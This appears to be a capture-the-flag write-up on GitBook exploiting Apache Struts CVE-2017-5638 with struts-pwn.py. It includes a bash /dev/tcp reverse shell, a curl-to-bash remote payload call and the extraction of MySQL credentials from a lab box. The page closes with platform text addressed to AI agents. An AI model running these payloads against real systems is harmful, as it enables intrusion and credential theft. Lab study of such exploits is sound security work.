> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/apache-struts-exploitation-.action.md).
# Apache Struts
Apache Struts CVE-2017-5638 RCE exploitation, command execution, reverse shell attempts, and credential extraction notes.
## Apache Struts Exploitation (CVE-2017-5638)
#### **Monitoring Directory Enumeration**
During registration, the application returns an error. The `.action` extension suggests an Apache Struts application.
{% embed url="" %}
Use `struts-pwn.py` to test remote command execution:
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```
The command works, confirming the vulnerability.
#### **Reverse shell**
1. Set up a Netcat listener:
```bash
nc -nvlp 443
```
2. Create an `index.html` file containing the reverse shell:
```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```
3. Host the file with a Python web server:
```
python3 -m http.server 8080
```
4. Execute the reverse shell through the exploit:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```
{% endcode %}
Unfortunately, this approach fails.
### **Sensitive Information Extraction**
List files on the server:
The `db_connect` file contains credentials:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```
{% endcode %}
Recovered MySQL credentials:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```
{% endcode %}
* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin
### Information Extraction - mysqlshow
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/apache-struts-exploitation-.action.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
